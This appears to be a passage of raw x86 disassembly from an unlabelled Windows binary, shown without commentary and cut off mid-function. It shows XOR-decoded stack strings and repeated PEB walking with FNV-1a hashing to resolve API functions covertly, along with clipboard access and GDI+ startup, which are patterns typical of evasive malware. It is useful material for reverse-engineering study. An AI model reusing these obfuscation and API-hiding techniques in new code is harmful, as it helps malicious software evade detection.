xor ch, cl
xor al, cl
mov byte [esp + 0x11], 0x17
mov byte [esp + 0x137], al
xor dh, cl
mov al, byte [esp + 0x11]
xor ah, cl
xor al, cl
mov byte [esp + 0x12], 0x6c
mov byte [esp + 0x138], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x135], ch
lea ecx, [esp + 0x131]
mov byte [esp + 0x13a], 0
mov byte [esp + 0x133], dl
mov byte [esp + 0x136], dh
lea edx, [ecx + 1]
mov byte [esp + 0x134], ah
mov byte [esp + 0x139], al
mov byte [esp + 0x13a], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6380
sub ecx, edx
lea eax, [esp + 0x131]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b7f90
lea ecx, [esp + 0x230]
call fcn.004b7770
mov cl, 0x38
mov dword [esp + 0x248], 0x4e5c7938
mov dword [esp + 0x24c], 0xb514859
xor eax, eax
mov dword [esp + 0x250], 0x545c160a
mov word [esp + 0x254], 0x54
nop dword [eax]
xor byte [esp + eax + 0x249], cl
inc eax
cmp eax, 0xc
jae 0x4c63f6
mov cl, byte [esp + 0x248]
jmp 0x4c63e0
mov eax, dword fs:[0x30]
mov byte [esp + 0x255], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c6478
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c6478
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xb6e3ac8c
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c646d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c6450
cmp esi, 0x4cc8ba9e
je 0x4c647c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c6437
mov eax, dword [eax]
jmp 0x4c6410
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x249]
add eax, edx
push ecx
call eax
mov dword [0x4dc878], eax
mov cl, 0x77
mov byte [esp + 0xa4], 0xf
mov al, 0x3e
xor al, byte [esp + 0xa4]
mov dl, 0x49
mov byte [esp + 0xa5], al
mov ah, 0x58
mov al, byte [esp + 0xa4]
mov ch, 0x47
xor cl, al
mov byte [esp + 0x10], 0x6b
xor ch, al
mov byte [esp + 0xa6], cl
mov dh, 0x62
mov byte [esp + 0xa9], ch
xor dl, al
mov byte [esp + 0xac], 0
xor ah, al
mov byte [esp + 0xa7], dl
xor dh, al
mov byte [esp + 0xa8], ah
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x278]
xor al, byte [esp + 0xa4]
mov byte [esp + 0xaa], dh
mov byte [esp + 0xab], al
mov byte [esp + 0xac], 0
call fcn.004b8bd0
lea ecx, [esp + 0xa5]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6540
sub ecx, edx
lea eax, [esp + 0xa5]
push ecx
push eax
lea ecx, [esp + 0x280]
call fcn.004b8860
mov al, 0x1a
mov byte [esp + 0xb0], 0x6d
mov ch, al
mov byte [esp + 0x10], 0x23
xor al, byte [esp + 0xb0]
mov cl, 0x55
mov byte [esp + 0xb1], al
mov dl, 0x2e
mov al, byte [esp + 0xb0]
mov ah, 0xf
xor cl, al
mov byte [esp + 0xb8], 0
xor ch, al
mov byte [esp + 0xb2], cl
mov dh, 0x1f
mov byte [esp + 0xb5], ch
xor dl, al
mov byte [esp + 0xb8], 0
xor ah, al
mov byte [esp + 0xb3], dl
xor dh, al
mov byte [esp + 0xb4], ah
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x248]
xor al, byte [esp + 0xb0]
mov byte [esp + 0xb6], dh
mov byte [esp + 0xb7], al
call fcn.004b8bd0
lea ecx, [esp + 0xb1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c65f1
sub ecx, edx
lea eax, [esp + 0xb1]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b8860
mov byte [esp + 0x1b4], 0x3d
mov al, 0xc
xor al, byte [esp + 0x1b4]
mov cl, 0x44
xor cl, byte [esp + 0x1b4]
mov ah, 0x4d
mov byte [esp + 0x1b5], al
mov ch, 0x5c
mov byte [esp + 0x1b6], cl
mov dl, 0x52
mov cl, byte [esp + 0x1b4]
mov dh, 0x51
mov byte [esp + 0x10], 0x65
xor ah, cl
mov al, byte [esp + 0x10]
xor ch, cl
xor al, cl
mov byte [esp + 0x11], 0x4e
mov byte [esp + 0x1bb], al
xor dl, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0xe
mov byte [esp + 0x1bc], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x1b8], ah
mov byte [esp + 0x1bd], al
lea eax, [esp + 0x1b5]
mov byte [esp + 0x1b9], ch
lea ecx, [esp + 0x248]
mov byte [esp + 0x1be], 0
push eax
mov byte [esp + 0x1bb], dl
mov byte [esp + 0x1be], dh
mov byte [esp + 0x1c2], 0
call fcn.004b8bf0
test al, al
je 0x4c6783
mov byte [esp + 0xdc], 0x58
mov cl, 0x3d
xor cl, byte [esp + 0xdc]
mov al, 0x30
xor al, byte [esp + 0xdc]
mov ch, 0x1e
mov byte [esp + 0xdd], al
mov dl, 0x3b
mov byte [esp + 0xde], cl
mov dh, 0x28
mov cl, byte [esp + 0xdc]
mov ah, 0x2a
mov byte [esp + 0x10], 0x6b
xor dl, cl
mov al, byte [esp + 0x10]
xor ch, cl
xor al, cl
mov byte [esp + 0x11], 0xc
xor dh, cl
mov byte [esp + 0xe3], al
mov al, byte [esp + 0x11]
xor ah, cl
xor al, cl
mov byte [esp + 0xe1], ch
lea ecx, [esp + 0xdd]
mov byte [esp + 0xe5], 0
mov byte [esp + 0xdf], dl
mov byte [esp + 0xe2], dh
lea edx, [ecx + 1]
mov byte [esp + 0xe0], ah
mov byte [esp + 0xe4], al
mov byte [esp + 0xe5], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6765
sub ecx, edx
lea eax, [esp + 0xdd]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b7e00
lea ecx, [esp + 0x248]
call fcn.004b7770
lea ecx, [esp + 0x278]
call fcn.004b7770
movaps xmm0, xmmword [0x4d8a70]
xor ecx, ecx
movups xmmword [esp + 0x278], xmm0
mov word [esp + 0x298], 0x3333
movaps xmm0, xmmword [0x4d77a0]
movups xmmword [esp + 0x288], xmm0
mov byte [esp + 0x29a], 0
nop dword [eax]
mov al, byte [esp + 0x278]
xor byte [esp + ecx + 0x279], al
inc ecx
cmp ecx, 0x21
jb 0x4c67d0
mov eax, dword fs:[0x30]
mov byte [esp + 0x29a], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c6868
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c6868
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xe500dcbc
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c685d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c6840
cmp esi, 0x7b72e7ee
je 0x4c686c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c6827
mov eax, dword [eax]
jmp 0x4c6800
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x279]
add eax, edx
push ecx
call eax
mov edx, dword [0x4dc86c]
xor edi, edi
mov dword [0x4dc87c], eax
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xa6743f2a
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c68dd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c68c0
cmp edx, 0x4919a8
je 0x4c68e9
mov edx, dword [0x4dc86c]
inc edi
add esi, 4
jmp 0x4c68b0
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4dc86c]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x344]
push ecx
add eax, edx
push 0
call eax
lea ecx, [esp + 0x2bc]
call fcn.004b8bd0
lea ecx, [esp + 0x340]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4c6930
sub ecx, edx
lea eax, [esp + 0x340]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x2c4]
call fcn.004b8730
mov edi, dword [esp + 0x2cc]
mov cl, 0x7d
push 0xffffffffffffffff
sub esp, 0x18
mov byte [esp + 0x3c], cl
mov al, 0x21
mov byte [esp + 0x3e], 0
xor al, cl
mov byte [esp + 0x3e], 0
mov esi, esp
mov byte [esp + 0x3d], al
mov ecx, esi
call fcn.004b8bd0
lea ecx, [esp + 0x3d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6988
sub ecx, edx
lea eax, [esp + 0x3d]
push ecx
push eax
mov ecx, esi
call fcn.004b8860
lea ecx, [esp + 0x264]
call fcn.004c2240
add esp, 0x18
mov ecx, eax
call fcn.004b74d0
push eax
lea ecx, [esp + 0x2c4]
call fcn.004c7f80
lea ecx, [esp + 0x1fb]
inc eax
push ecx
push edi
push eax
lea eax, [esp + 0x2c8]
push eax
lea ecx, [esp + 0x288]
call fcn.004c80c0
lea ecx, [esp + 0x2bc]
call fcn.004b7bf0
lea eax, [esp + 0x278]
push eax
lea ecx, [esp + 0x2c0]
call fcn.004c1ad0
lea ecx, [esp + 0x278]
call fcn.004b7bf0
lea ecx, [esp + 0x248]
call fcn.004b7bf0
lea eax, [esp + 0x1fa]
push eax
mov eax, dword [esp + 0x2d0]
lea ecx, [esp + 0x27c]
add eax, 0xfffffffc
push eax
push 0
lea eax, [esp + 0x2c8]
push eax
call fcn.004c80c0
mov ecx, 0x4dc0e0
call fcn.004b7bf0
lea eax, [esp + 0x278]
mov ecx, 0x4dc0e0
push eax
call fcn.004c1ad0
lea ecx, [esp + 0x278]
call fcn.004b7bf0
mov edx, dword [0x4dc86c]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xc509e793
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c6ab0
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c6a93
cmp edx, 0x183cc32b
je 0x4c6abc
mov edx, dword [0x4dc86c]
inc edi
add esi, 4
jmp 0x4c6a83
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4dc86c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
test eax, eax
je 0x4c6af9
push 0
lea ecx, [esp + 0x6c]
call fcn.004c2140
push 0x4d9bfc
lea eax, [esp + 0x6c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
mov byte [esp + 0xcc], 0x24
mov al, 0x60
xor al, byte [esp + 0xcc]
mov cl, 0x61
mov byte [esp + 0xcd], al
mov ch, 0x76
mov al, byte [esp + 0xcc]
mov dl, 0x43
xor cl, al
mov byte [esp + 0xd3], 0
xor ch, al
mov byte [esp + 0xce], cl
mov ah, 0x54
mov byte [esp + 0xd1], ch
mov dh, 0x55
mov byte [esp + 0xd3], 0
xor dl, al
lea ecx, [esp + 0x230]
xor ah, al
mov byte [esp + 0xcf], dl
xor dh, al
mov byte [esp + 0xd0], ah
mov byte [esp + 0xd2], dh
call fcn.004b8bd0
lea ecx, [esp + 0xcd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6b75
sub ecx, edx
lea eax, [esp + 0xcd]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b8860
mov byte [esp + 0xd4], 0x7a
mov al, 0x43
xor al, byte [esp + 0xd4]
mov cl, 0x2f
mov byte [esp + 0xd5], al
mov ch, 0x1f
mov al, byte [esp + 0xd4]
mov dl, 0x2a
xor cl, al
mov byte [esp + 0xdb], 0
xor ch, al
mov byte [esp + 0xd6], cl
mov ah, 0x1d
mov byte [esp + 0xd9], ch
mov dh, 0x33
mov byte [esp + 0xdb], 0
xor dl, al
lea ecx, [esp + 0x248]
xor ah, al
mov byte [esp + 0xd7], dl
xor dh, al
mov byte [esp + 0xd8], ah
mov byte [esp + 0xda], dh
call fcn.004b8bd0
lea ecx, [esp + 0xd5]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6c10
sub ecx, edx
lea eax, [esp + 0xd5]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b8860
mov al, 0x46
mov byte [esp + 0x2c], 0x37
mov dh, al
mov byte [esp + 0x10], 0x67
xor al, byte [esp + 0x2c]
mov cl, 0x56
mov byte [esp + 0x2d], al
mov dl, 0x7b
mov al, byte [esp + 0x2c]
mov ch, 0x43
xor cl, al
mov byte [esp + 0x34], 0
xor dl, al
mov byte [esp + 0x2e], cl
xor ch, al
mov byte [esp + 0x2f], dl
xor dh, al
mov byte [esp + 0x31], ch
mov ah, 0x7a
mov byte [esp + 0x32], dh
xor ah, al
mov byte [esp + 0x34], 0
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x2d]
xor al, byte [esp + 0x2c]
lea edx, [ecx + 1]
mov byte [esp + 0x30], ah
mov byte [esp + 0x33], al
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6c90
sub ecx, edx
lea eax, [esp + 0x2d]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b7f90
mov byte [esp + 0x10c], 0x70
mov al, 0x13
xor al, byte [esp + 0x10c]
mov cl, 0x11
mov byte [esp + 0x10d], al
mov dl, 0x22
mov al, byte [esp + 0x10c]
mov ch, 2
xor cl, al
mov byte [esp + 0x10], 3
xor dl, al
mov byte [esp + 0x10e], cl
xor ch, al
mov byte [esp + 0x10f], dl
mov dh, 0x1c
mov byte [esp + 0x111], ch
xor dh, al
mov byte [esp + 0x114], 0
mov ah, 0x20
mov byte [esp + 0x112], dh
xor ah, al
mov byte [esp + 0x114], 0
mov al, byte [esp + 0x10]
lea edx, [esp + 0x248]
xor al, byte [esp + 0x10c]
lea ecx, [esp + 0x10d]
mov byte [esp + 0x110], ah
mov byte [esp + 0x113], al
call fcn.004b8560
test al, al
je 0x4c6dbb
mov byte [esp + 0x38], 0x1e
mov al, 0x2d
xor al, byte [esp + 0x38]
mov cl, 0x4d
mov byte [esp + 0x39], al
mov dl, 0x7c
mov al, byte [esp + 0x38]
mov ch, 0x74
mov dh, 0x5a
mov byte [esp + 0x10], 0x27
xor cl, al
mov byte [esp + 0x40], 0
xor dl, al
mov byte [esp + 0x3a], cl
xor ch, al
mov byte [esp + 0x3b], dl
xor dh, al
mov byte [esp + 0x3d], ch
mov ah, 0x66
mov byte [esp + 0x3e], dh
xor ah, al
mov byte [esp + 0x40], 0
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x39]
xor al, byte [esp + 0x38]
lea edx, [ecx + 1]
mov byte [esp + 0x3c], ah
mov byte [esp + 0x3f], al
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6da0
sub ecx, edx
lea eax, [esp + 0x39]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b7e00
lea ecx, [esp + 0x248]
call fcn.004b7770
lea ecx, [esp + 0x230]
call fcn.004b7770
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4c6de5
call dword [sym.imp.USER32.dll_CloseClipboard]
call fcn.004c4300
call fcn.004c4620
test eax, eax
jne 0x4c6fa8
mov edi, dword [0x4dc870]
xor edx, edx
mov dword [esp + 0x20], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x7b67807e
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c6e42
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c6e25
cmp edx, 0xd5c16681
je 0x4c6e4b
inc dword [esp + 0x20]
add esi, 4
jmp 0x4c6e15
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
movaps xmm0, xmmword [0x4d89e0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov dh, 0x21
mov esi, dword [ecx + eax*4]
mov cl, 0x53
mov ch, cl
mov byte [esp + 0x1f6], 0
mov dl, cl
mov byte [esp + 0x1f0], dh
mov al, 0x64
mov byte [esp + 0x1f6], 0
mov ah, 0x4e
mov dword [esp + 0x298], 0x3c6e7368
xor cl, dh
mov dword [esp + 0x29c], 0x79787371
xor ch, dh
mov byte [esp + 0x1f2], cl
xor al, dh
mov byte [esp + 0x1f5], ch
xor dl, dh
mov byte [esp + 0x1f1], al
xor ah, dh
mov byte [esp + 0x1f3], dl
movups xmmword [esp + 0x278], xmm0
add esi, edi
mov byte [esp + 0x1f4], ah
movaps xmm0, xmmword [0x4d8da0]
xor ecx, ecx
movups xmmword [esp + 0x288], xmm0
mov byte [esp + 0x2a0], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x278]
xor byte [esp + ecx + 0x279], al
inc ecx
cmp ecx, 0x27
jb 0x4c6f00
push 0x30
lea eax, [esp + 0x1f5]
mov byte [esp + 0x2a4], 0
push eax
lea eax, [esp + 0x281]
push eax
push 0
call esi
mov edi, dword [0x4dc87c]
xor edx, edx
mov dword [esp + 0x20], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xc62217d5
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c6f7d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c6f60
cmp edx, 0x4b8c35c6
je 0x4c6f86
inc dword [esp + 0x20]
add esi, 4
jmp 0x4c6f50
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
call eax
add esp, 4
call fcn.004ca0c0
push 0x4a9670
lea ecx, [esp + 0x2ec]
call fcn.004b8e80
lea ecx, [esp + 0x2e8]
call fcn.004a8760
push 0
lea eax, [esp + 0x2d8]
mov dword [esp + 0x2d8], 1
push eax
lea eax, [esp + 0x2ec]
mov dword [esp + 0x2e0], 0
push eax
mov dword [esp + 0x2e8], 0
mov dword [esp + 0x2ec], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
call fcn.004b9ff0
mov byte [esp + 0x13c], 0x1f
mov al, 0x76
xor al, byte [esp + 0x13c]
mov cl, 0x70
xor cl, byte [esp + 0x13c]
mov ch, 0x2f
mov byte [esp + 0x13d], al
mov dl, 0x53
mov byte [esp + 0x13e], cl
mov ah, 0x45
mov cl, byte [esp + 0x13c]
mov dh, 0x52
mov byte [esp + 0x10], 0x2c
xor ch, cl
mov al, byte [esp + 0x10]
xor dl, cl
xor al, cl
mov byte [esp + 0x11], 0x49
mov byte [esp + 0x143], al
xor ah, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0x7d
mov byte [esp + 0x144], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x141], ch
mov byte [esp + 0x146], 0
lea ecx, [esp + 0x230]
mov byte [esp + 0x13f], dl
mov byte [esp + 0x140], ah
mov byte [esp + 0x142], dh
mov byte [esp + 0x145], al
mov byte [esp + 0x146], 0
call fcn.004b8bd0
lea ecx, [esp + 0x13d]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c70d0
sub ecx, edx
lea eax, [esp + 0x13d]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b8860
mov byte [esp + 0x44], 0x28
mov al, 0x7c
xor al, byte [esp + 0x44]
mov dl, 0x41
mov byte [esp + 0x45], al
mov cl, 0x70
mov al, byte [esp + 0x44]
mov ah, 0x4e
xor cl, al
mov byte [esp + 0x10], dl
mov ch, 0x1b
mov byte [esp + 0x46], cl
xor ch, al
mov byte [esp + 0x4c], 0
mov dh, 0x1d
mov byte [esp + 0x49], ch
xor dl, al
mov byte [esp + 0x4c], 0
xor ah, al
mov byte [esp + 0x47], dl
xor dh, al
mov byte [esp + 0x48], ah
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x248]
xor al, byte [esp + 0x44]
mov byte [esp + 0x4a], dh
mov byte [esp + 0x4b], al
call fcn.004b8bd0
lea ecx, [esp + 0x45]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c7156
sub ecx, edx
lea eax, [esp + 0x45]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b8860
mov cl, 0x71
mov dword [esp + 0x198], 0x71a4771
mov dword [esp + 0x19c], 0x27282b34
xor eax, eax
mov dword [esp + 0x1a0], 0x29091c0b
mov byte [esp + 0x1a4], 0
nop
xor byte [esp + eax + 0x199], cl
inc eax
cmp eax, 0xb
jae 0x4c71b6
mov cl, byte [esp + 0x198]
jmp 0x4c71a0
lea ecx, [esp + 0x199]
mov byte [esp + 0x1a4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c71c8
sub ecx, edx
lea eax, [esp + 0x199]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b7f90
mov byte [esp + 0x160], 0x16
mov al, 0x73
xor al, byte [esp + 0x160]
mov ah, 0x20
mov byte [esp + 0x161], al
mov cl, 0x6c
mov al, byte [esp + 0x160]
mov dl, 0x5e
xor ah, al
mov byte [esp + 0x167], 0
mov ch, 0x7e
mov byte [esp + 0x164], ah
mov dh, 0x42
mov byte [esp + 0x167], 0
xor cl, al
xor ch, al
xor dl, al
mov byte [esp + 0x162], cl
xor dh, al
mov byte [esp + 0x165], ch
lea eax, [esp + 0x161]
mov byte [esp + 0x163], dl
push eax
lea ecx, [esp + 0x24c]
mov byte [esp + 0x16a], dh
call fcn.004b8bf0
test al, al
je 0x4c72dc
mov byte [esp + 0x50], 3
mov al, 0x32
xor al, byte [esp + 0x50]
mov cl, 0x33
mov byte [esp + 0x51], al
mov dl, 0x5b
mov al, byte [esp + 0x50]
mov ch, 0x52
mov dh, 0x79
mov byte [esp + 0x10], 0x50
xor cl, al
mov byte [esp + 0x58], 0
xor dl, al
mov byte [esp + 0x52], cl
xor ch, al
mov byte [esp + 0x53], dl
xor dh, al
mov byte [esp + 0x55], ch
mov ah, 0x51
mov byte [esp + 0x56], dh
xor ah, al
mov byte [esp + 0x58], 0
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x51]
xor al, byte [esp + 0x50]
lea edx, [ecx + 1]
mov byte [esp + 0x54], ah
mov byte [esp + 0x57], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c72c1
sub ecx, edx
lea eax, [esp + 0x51]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b7f90
lea ecx, [esp + 0x248]
call fcn.004b7770
lea ecx, [esp + 0x230]
call fcn.004b7770
mov al, 0x34
mov byte [esp + 0x68], 0x70
mov dl, al
mov byte [esp + 0x10], 0x1e
xor al, byte [esp + 0x68]
mov cl, 0x43
xor cl, byte [esp + 0x68]
mov ch, 0x27
mov byte [esp + 0x69], al
sub esp, 0x18
mov al, byte [esp + 0x28]
mov ah, 0x50
mov byte [esp + 0x82], cl
mov dh, 0x19
mov cl, byte [esp + 0x80]
mov esi, esp
xor al, cl
mov byte [esp + 0x29], 0x14
mov byte [esp + 0x87], al
xor ch, cl
mov al, byte [esp + 0x29]
xor dl, cl
xor al, cl
mov byte [esp + 0x2a], 0x1f
mov byte [esp + 0x88], al
xor ah, cl
mov al, byte [esp + 0x2a]
xor dh, cl
xor al, cl
mov byte [esp + 0x2b], 7
mov byte [esp + 0x89], al
mov al, byte [esp + 0x2b]
xor al, cl
mov byte [esp + 0x85], ch
mov byte [esp + 0x8b], 0
mov ecx, esi
mov byte [esp + 0x83], dl
mov byte [esp + 0x84], ah
mov byte [esp + 0x86], dh
mov byte [esp + 0x8a], al
mov byte [esp + 0x8b], 0
call fcn.004b8bd0
lea ecx, [esp + 0x81]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c73b1
sub ecx, edx
lea eax, [esp + 0x81]
push ecx
push eax
mov ecx, esi
call fcn.004b8860
lea ecx, [esp + 0x328]
call fcn.004c2240
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x328]
xorps xmm0, xmm0
mov dword [esp + 0x220], 0
add esp, 0x18
movlpd qword [esp + 0x210], xmm0
movlpd qword [esp + 0x21c], xmm0
movlpd qword [esp + 0x224], xmm0
mov dword [esp + 0x218], eax
call fcn.004b74d0
mov dword [esp + 0x22c], eax
mov cl, 0x71
mov byte [esp + 0x148], 0x1a
mov al, 0x52
xor al, byte [esp + 0x148]
mov ah, 0x48
xor cl, byte [esp + 0x148]
mov ch, ah
mov byte [esp + 0x149], al
mov dl, 0x4f
mov byte [esp + 0x14a], cl
mov dh, 0x69
mov cl, byte [esp + 0x148]
mov byte [esp + 0x10], 0x72
xor ch, cl
mov al, byte [esp + 0x10]
xor dl, cl
xor al, cl
mov byte [esp + 0x11], 0x62
mov byte [esp + 0x14f], al
xor ah, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0x49
mov byte [esp + 0x150], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x14d], ch
mov byte [esp + 0x152], 0
lea ecx, [esp + 0x248]
mov dword [esp + 0x20c], 0x4c36b0
mov byte [esp + 0x14b], dl
mov byte [esp + 0x14c], ah
mov byte [esp + 0x14e], dh
mov byte [esp + 0x151], al
mov byte [esp + 0x152], 0
call fcn.004b8bd0
lea ecx, [esp + 0x149]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c74e2
sub ecx, edx
lea eax, [esp + 0x149]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b8860
mov byte [esp + 0xe8], 0x2a
mov cl, 0x72
xor cl, byte [esp + 0xe8]
mov al, 0x62
xor al, byte [esp + 0xe8]
mov ch, 0x1f
mov byte [esp + 0xe9], al
mov dl, 0x4b
mov byte [esp + 0xea], cl
mov dh, 0x5b
mov cl, byte [esp + 0xe8]
mov ah, 0x5d
mov byte [esp + 0x10], 0x7a
xor dl, cl
mov al, byte [esp + 0x10]
xor ch, cl
xor al, cl
mov byte [esp + 0x11], 0x49
xor dh, cl
mov byte [esp + 0xef], al
mov al, byte [esp + 0x11]
xor ah, cl
xor al, cl
mov byte [esp + 0xed], ch
lea ecx, [esp + 0xe9]
mov byte [esp + 0xf1], 0
mov byte [esp + 0xeb], dl
mov byte [esp + 0xee], dh
lea edx, [ecx + 1]
mov byte [esp + 0xec], ah
mov byte [esp + 0xf0], al
mov byte [esp + 0xf1], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c75a0
sub ecx, edx
lea eax, [esp + 0xe9]
push ecx
push eax
lea ecx, [esp + 0x250]
call fcn.004b7f90
mov byte [esp + 0x5c], 0x33
mov al, 0x62
xor al, byte [esp + 0x5c]
mov cl, 0x71
mov byte [esp + 0x5d], al
mov dl, 0x7e
mov al, byte [esp + 0x5c]
